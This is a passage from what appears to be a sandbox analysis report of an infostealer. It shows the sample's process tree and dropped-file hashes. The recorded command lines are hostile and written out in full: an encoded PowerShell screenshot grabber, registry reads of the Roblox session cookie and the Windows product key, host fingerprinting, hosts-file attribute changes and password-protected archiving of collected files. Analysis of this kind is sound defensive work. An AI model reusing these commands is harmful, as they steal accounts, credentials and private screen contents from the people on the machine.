uAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="4⤵PID:2292
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2404 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n2wnarfc\n2wnarfc.cmdline"6⤵PID:4296
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6AC0.tmp" "c:\Users\Admin\AppData\Local\Temp\n2wnarfc\CSC1EC0DACA38C4621B7A18C87C5F9C0.TMP"7⤵PID:3944
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵PID:4400
-
C:\Windows\system32\tree.comtree /A /F5⤵PID:5056
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"4⤵PID:648
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:1240
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵PID:4460
-
C:\Windows\system32\tree.comtree /A /F5⤵PID:2092
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"4⤵PID:1196
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4428
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵PID:4056
-
C:\Windows\system32\tree.comtree /A /F5⤵PID:2264
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵PID:5040
-
C:\Windows\system32\tree.comtree /A /F5⤵PID:1536
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵PID:3180
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
PID:4984
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵PID:628
-
C:\Windows\system32\tree.comtree /A /F5⤵PID:3432
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"4⤵PID:4800
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4296
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY5⤵
- Suspicious behavior: EnumeratesProcesses
PID:1944
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"4⤵PID:3752
-
C:\Windows\system32\getmac.exegetmac5⤵PID:880
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"4⤵PID:5096
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4076
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI10042\rar.exe a -r -hp"blaank" "C:\Users\Admin\AppData\Local\Temp\gJtrN.zip" *"4⤵PID:3848
-
C:\Users\Admin\AppData\Local\Temp\_MEI10042\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI10042\rar.exe a -r -hp"blaank" "C:\Users\Admin\AppData\Local\Temp\gJtrN.zip" *5⤵
- Executes dropped EXE
PID:2440
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"4⤵PID:3324
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption5⤵PID:3624
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"4⤵PID:2552
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory5⤵PID:348
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵PID:3432
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵PID:5040
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"4⤵PID:1968
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER5⤵
- Suspicious behavior: EnumeratesProcesses
PID:1956
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵PID:584
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
PID:4920
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"4⤵PID:2736
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault5⤵
- Suspicious behavior: EnumeratesProcesses
PID:2748
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\v5.exe"C:\Users\Admin\AppData\Local\Temp\v5.exe"2⤵
- Executes dropped EXE
PID:3848
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4520
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2292
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3324
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵PID:3760
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5028 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.0.698187830\1473568881" -parentBuildID 20230214051806 -prefsHandle 1768 -prefMapHandle 1760 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {30477e15-c367-4996-91da-830499b1dd74} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 1852 1b69362f458 gpu3⤵PID:2312
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.1.175196787\1770668153" -parentBuildID 20230214051806 -prefsHandle 2408 -prefMapHandle 2404 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3722e990-ac30-405d-89c5-584f0ba69787} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 2420 1b686986558 socket3⤵PID:2460
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.2.959665954\1908272528" -childID 1 -isForBrowser -prefsHandle 2980 -prefMapHandle 2976 -prefsLen 22215 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {38a4c597-ce12-44be-9a9e-c572c37d1a2e} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 2992 1b695fea958 tab3⤵PID:3892
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.3.601093649\920199066" -childID 2 -isForBrowser -prefsHandle 3668 -prefMapHandle 3664 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {446c0ed5-234e-4faf-ad31-4267fd891484} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 3680 1b686975c58 tab3⤵PID:1268
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.4.1110905851\1716114548" -childID 3 -isForBrowser -prefsHandle 5056 -prefMapHandle 5036 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {465051ba-dafa-4d92-84e3-7507b8f1007c} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 5080 1b69a364c58 tab3⤵PID:3760
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.5.1092851882\2073782600" -childID 4 -isForBrowser -prefsHandle 5300 -prefMapHandle 5296 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2c3c3e2-cb03-4cbe-97fd-3595c77e8563} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 5308 1b69a365858 tab3⤵PID:704
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5028.6.1627313727\154134870" -childID 5 -isForBrowser -prefsHandle 5408 -prefMapHandle 5412 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb65049c-2fda-4b79-b9f9-922494da15eb} 5028 "\\.\pipe\gecko-crash-server-pipe.5028" 5400 1b69a524258 tab3⤵PID:1520
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa38e1055 /state1:0x41c64e6d1⤵PID:5388
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
Filesize
64B
MD5c7aa6fa82c97707a824fd66b2b041a54
SHA1d9113cbc0e3049da8892d7f246ed1a9c94635f1f
SHA256d210f3c77d415ef38c35e6ed6d278b082a24d4183d4eb3e94e246eb3693d22d6
SHA512415242186144cb0bc61ea5dddfc6336886541d47a8eca894932b96355b6a7b8e50e637f7ab4b98504331cacd83df794c9426785b4ff2f6aaf952eef1b1961f22
-
Filesize
944B
MD5b1a1d8b05525b7b0c5babfd80488c1f2
SHA1c85bbd6b7d0143676916c20fd52720499c2bb5c6
SHA256adad192fc86c2f939fd3f70cb9ad323139a4e100f7c90b4454e2c53bdbc9b705
SHA512346c6513c1373bab58439e37d3f75de1c5c587d7eb27076cf696e885a027b3b38d70b585839d1a2e7f2270cdcf0dac8c1fdff799f3b1158242ae9e3364c2a06e
-
Filesize
1KB
MD5a28115a0b99e1628f4b22fe751626704
SHA1f6c1a3bb1c46eea1d8ac31551e3b91b2004fc57e
SHA2568fe0f9cb43d348eeb8de56f9ccca2ca5b787978f2e41b861bb04a5b134839f60
SHA5127ee7051a3dbe621096dcf7c3b2c0ccd6c5ca30729bf3322597b74e8299c742a5653c73b9a7013a2565dc7a0da3de0af4a6fb4c38417748469983bf1117b16ee1
-
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\ntkangc5.default-release\activity-stream.discovery_stream.json.tmp
Filesize27KB
MD56885ddad8761b4e77f26ece6c21042c6
SHA120d1ef70940988c53ac25f40d9eebe823cee2925
SHA2563a819dca846d9ac20fc0d7623af94f8263745d275d75f3d9bae8996a1191e903
SHA51296fc292a2ee956284d499462f6067db7a8e70b56489d838a135529768e0182859cc56c3874005d6a31f74f3689aece52e821d4e076f4e6baa8879ddb83720699
-
Filesize
7.4MB
MD52c628deb80a8e0564ab2880b28e18af1
SHA1733f8d93a98fb60ce981de24deb7928fc2848e8d
SHA256b1b3013a32c2d73a5144e0371065a91d04b8a3b227eaf3de75bf41078d903188
SHA5128d75e415a11863bee4763b572729d8090a63fa9487550b45a28ba2723cb410735a5cf7e9dc5a3cf857bb0bddb3e7775cca018b4df2d78e77c2e5477fb3509054
-
Filesize
1KB
MD5e340e5ee6b97a15faade839cfd4953d7
SHA1a26b8eb33bc3373066257ff21e3c9d88007f869c
SHA25680d02b81341630465796d9fdb1b8948aeeb577c45196c61742cfe6d69a111640
SHA512f709f8e3dd22980e81be7d2f95799921c817bb7092a4d345c37c6667281621511ae67d3441c53591d607384bb6ba8becbfe3c444e0362cac8e2279813c2442ca
-
Filesize
116KB
MD5be8dbe2dc77ebe7f88f910c61aec691a
SHA1a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA2564d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA5120da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655
-
Filesize
48KB
MD53bd0dd2ed98fca486ec23c42a12978a8
SHA163df559f4f1a96eb84028dc06eaeb0ef43551acd
SHA2566beb733f2e27d25617d880559299fbebd6a9dac51d6a9d0ab14ae6df9877da07
SHA5129ffa7da0e57d98b8fd6b71bc5984118ea0b23bf11ea3f377dabb45b42f2c8757216bc38ddd05b50c0bc1c69c23754319cef9ffc662d4199f7c7e038a0fb18254
-
Filesize
58KB
MD5343e1a85da03e0f80137719d48babc0f
SHA10702ba134b21881737585f40a5ddc9be788bab52
SHA2567b68a4ba895d7bf605a4571d093ae3190eac5e813a9eb131285ae74161d6d664
SHA5121b29efad26c0a536352bf8bb176a7fe9294e616cafb844c6d861561e59fbda35e1f7c510b42e8ed375561a5e1d2392b42f6021acc43133a27ae4b7006e465ba8
-
Filesize
107KB
MD58b623d42698bf8a7602243b4be1f775d
SHA1f9116f4786b5687a03c75d960150726843e1bc25
SHA2567c2f0a65e38179170dc69e1958e7d21e552eca46fcf62bbb842b4f951a86156c
SHA512aa1b497629d7e57b960e4b0ab1ea3c28148e2d8ebd02905e89b365f508b945a49aacfbd032792101668a32f8666f8c4ef738de7562979b7cf89e0211614fa21a
-
Filesize
35KB
MD5d71df4f6e94bea5e57c267395ad2a172
SHA15c82bca6f2ce00c80e6fe885a651b404052ac7d0
SHA2568bc92b5a6c1e1c613027c8f639cd8f9f1218fc4f7d5526cfcb9c517a2e9e14c2
SHA512e794d9ae16f9a2b0c52e0f9c390d967ba3287523190d98279254126db907ba0e5e87e5525560273798cc9f32640c33c8d9f825ff473524d91b664fe91e125549
-
Filesize
86KB
MD5932147ac29c593eb9e5244b67cf389bb
SHA13584ff40ab9aac1e557a6a6009d10f6835052cde
SHA256bde9bccb972d356b8de2dc49a4d21d1b2f9711bbc53c9b9f678b66f16ca4c5d3
SHA5126e36b8d8c6dc57a0871f0087757749c843ee12800a451185856a959160f860402aa16821c4ea659ea43be2c44fcdb4df5c0f889c21440aceb9ee1bc57373263c
-
Filesize
25KB
MD50e5997263833ce8ce8a6a0ec35982a37
SHA196372353f71aaa56b32030bb5f5dd5c29b854d50
SHA2560489700a866dddfa50d6ee289f7cca22c6dced9fa96541b45a04dc2ffb97122e
SHA512a00a667cc1bbd40befe747fbbc10f130dc5d03b777cbe244080498e75a952c17d80db86aa35f37b14640ed20ef21188ea99f3945553538e61797b575297c873f
-
Filesize
43KB
MD52957b2d82521ed0198851d12ed567746
SHA1ad5fd781490ee9b1ad2dd03e74f0779fb5f9afc2
SHA2561e97a62f4f768fa75bac47bba09928d79b74d84711b6488905f8429cd46f94a2
SHA512b557cf3fe6c0cc188c6acc0a43b44f82fcf3a6454f6ed7a066d75da21bb11e08cfa180699528c39b0075f4e79b0199bb05e57526e8617036411815ab9f406d35
-
Filesize
56KB
MD5a9d2c3cf00431d2b8c8432e8fb1feefd
SHA11c3e2fe22e10e1e9c320c1e6f567850fd22c710c
SHA256aa0611c451b897d27dd16236ce723303199c6eacfc82314f342c7338b89009f3
SHA5121b5ada1dac2ab76f49de5c8e74542e190455551dfd1dfe45c9ccc3edb34276635613dbcfadd1e5f4383a0d851c6656a7840c327f64b50b234f8fdd469a02ef73
-
Filesize
65KB
MD5e5f6bff7a8c2cd5cb89f40376dad6797
SHA1b854fd43b46a4e3390d5f9610004010e273d7f5f
SHA2560f8493de58e70f3520e21e05d78cfd6a7fcde70d277e1874183e2a8c1d3fb7d5
SHA5125b7e6421ad39a61dabd498bd0f7aa959a781bc82954dd1a74858edfea43be8e3afe3d0cacb272fa69dc897374e91ea7c0570161cda7cc57e878b288045ee98d9
-
Filesize
1.4MB
MD54b011f052728ae5007f9ec4e97a4f625
SHA19d940561f08104618ec9e901a9cd0cd13e8b355d
SHA256c88cd8549debc046a980b0be3bf27956ae72dcdcf1a448e55892194752c570e6
SHA512be405d80d78a188a563086809c372c44bcd1ccab5a472d50714f559559795a1df49437c1712e15eb0403917c7f6cfaf872d6bb0c8e4dd67a512c2c4a5ae93055
-
Filesize
122KB
MD5785ec0030d58de07e4272bcd6b8962b4
SHA1186b6bed6737dccebe1345dfaa05bbd90300efda
